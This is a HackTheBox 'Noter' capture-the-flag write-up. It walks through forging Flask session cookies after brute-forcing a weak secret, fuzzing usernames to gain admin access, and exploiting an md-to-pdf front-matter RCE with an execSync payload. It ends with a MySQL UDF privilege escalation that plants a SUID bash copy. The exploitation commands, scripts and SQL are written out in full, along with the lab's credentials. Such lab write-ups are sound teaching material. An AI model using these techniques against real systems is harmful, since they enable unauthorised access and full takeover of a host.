HTB Noter (Medium) - Writeup
Difficulty: Medium
In this box, I started by enumerating an FTP service and a Flask-based web app where I discovered a weakly signed session cookie.
Using flask-unsign, I brute-forced the secret key and generated admin session tokens, revealing credentials through a privileged note.
With those, I accessed the FTP server and downloaded application backups, one of which exposed an RCE vulnerability in a Node.js script (md-to-pdf).
Finally, I leveraged a MySQL UDF exploit using a discovered root password to escalate to root and gain full control of the system.
—
Nmap
The nmap scan revealed three open and ports:
Port 21 - FTP
I always start with ftp when doing ctf challenges.
I tried logging in with username “anonymous” and a blank password “”, but it failed.
Port 5000 - Website
Website looks like this and welcomes us with login page:
First I tried some default credentials like admin:admin, but they failed.
Then I tried sqli authentication bypass, also failed.
Let’s just register an account:
We found that this website is running CKEditor for notes:
Then I did directory busting:
feroxbuster --url http://10.10.11.160:5000/ -x php -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Nothing intresting.
When we click on note we get /note/3, another idea was to look for IDOR vulnerability.
I tried /note/1 and a few other ones but they also didn’t work.
Next thing that I checked was response headers with curl:
That is an intresting finding.
At first glance it looks like JWT token, unfortunately we wasn’t able to decode it.
Turns out that it is a Flask cookie.
There is a tool called flask-unsign that can be used to decode flask cookies.
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiZWVlZSJ9.aF_apQ.zdGYMEDn5AaY6SsoJSeW4KFz2lc'
Flask cookies contain a secret that can be brute-forced if it’s weak enough:
flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiZWVlZSJ9.aF_apQ.zdGYMEDn5AaY6SsoJSeW4KFz2lc' -w /usr/share/wordlists/rockyou.txt --no-literal-eval
Crafting a cookie
With the secret we can craft any cookie we want, let’s hope there is an admin account:
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'
Now I’ll replace the cookie with newly created one in devtools.
Unfortunately it didn’t work.
There is other option that we can try.
If we create a list of many cookies everyone with different username.
We then should be able to brute-force website and get different response when we submit existing cookie.
I created simple script that will generate a list of cookies for us:
import subprocess
wordlist_path = '/usr/share/wordlists/seclists/Usernames/Names/names.txt'
secret_key = 'secret123'
with open(wordlist_path, 'r') as file:
for user in file:
user = user.strip()
cookie_data = f"{{'logged_in': True, 'username': '{user}'}}"
cmd = [
'flask-unsign',
'--sign',
'--cookie', cookie_data,
'--secret', secret_key
]
subprocess.run(cmd)
Now we can run it with:
python3 generate.py > list2.txt
It can take up to 5-10 mins.
Now we want to fuzz an existing cookie:
wfuzz -w list2.txt -u http://10.10.11.160:5000/dashboard -H "Cookie: session=FUZZ" --hc 302
It worked, in the syntax we filtered out 302 code and waited for 200.
Let’s open devtools and replace cookie with the one that wfuzz found.
After we refresh the page we get admin access as user “blue”:
I looked through the dashboard and found note with credentials:
Let’s write them down:
- blue:blue@Noter!
Back to FTP
Those credentials fail for ssh but work for ftp.
We transfered policy.pdf to kali, let’s take a look at it.
It talked about password policy, the line that was a hint was:
Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)
If we look at the previous note, it’s signed as ftp_admin.
We can try to follow the password policy to login as ftp_admin:
- Username: ftp_admin
- Password: ftp_admin@Noter!
It worked, we ftp_admin had some application backups, we transfered them to kali.
Source Code Analysis
There are two application backups, I’ll unzip this first as it contains more data:
unzip app_backup_1638395546.zip
After quick enumeration we found md-to-pdf.js
We also checked it’s version.
There is an exploit for it:
https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880
It’s simple to exploit but first we have to find where our application uses md-to-pdf:
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
if check_VIP(session['username']):
try:
url = request.form['url']
status, error = parse_url(url)
if (status is True) and (error is None):
try:
r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
else:
return render_template('export_note.html', error="Error occured while exporting the !")
except Exception as e:
return render_template('export_note.html', error="Error occured!")
else:
return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
except Exception as e:
return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
else:
abort(403)
/export_note_remote uses md-to-pdf, the part that confirms it is:
r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
If we provide malicious .md file to md-to-pdf.js we can execute code, let’s create this file:
cat POC.md
---js
((require("child_process")).execSync("ping 10.10.14.5"))
---RCE
Now we have to host it on the python server:
And now go to the website and use remote note functionality and specify our server:
It successfully reaches our server:
Then we take a look at tcpdump and we get ping back to our machine meaning we achieved code execution:
Using RCE to get a shell
We’ll start with base64 encoding the payload:
Now put it into a file with .md extension:
And do the same thing as we did with POC payload:
Lastly retrieve a flag:
Priv Esc to root
If we run ps aux it only shows processes owned by svc.
It happens because /etc/fstab has hidepid=2, so ps will not show processes of other users.
We can check services:
cd /etc/systemd
find . -name '*.service'
Let’s check mysql service:
cat ./system/mysql-start.service
I’ll paste it here:
[Unit]
Description=MySQL service
[Service]
ExecStart=/usr/sbin/mysqld
User=root
Group=root
[Install]
WantedBy=multi-user.target
We now know that mysql runs as user root instead of user mysql.
It’s a dangerous configuration.
After quick search for exploit I found:
https://www.exploit-db.com/exploits/1518
We need to compile it:
gcc -g -c raptor.c
gcc -g -shared -Wl,-soname,raptor.so -o raptor.so raptor.o -lc
I was stuck here for a while and then noticed that we had second application backup.
I checked it and found mysql root password:
- root:Nildogg36
I followed this article to exploit this vulnerability:
https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf
After logging into mysql we need to run:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/svc/raptor_udf2.so'));
Now locate plugins directory:
show variables like '%plugin%';
Then we run:
select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
Now we should be able to run commands, we will copy /bin/bash to /tmp and add SUID bit:
select do_system('cp /bin/bash /tmp/bash; chmod 4777 /tmp/bash');
The whole exploitation can be seen on screenshot below:
Now we can use our copy of /bin/bash and escalate to root:
Thanks for reading!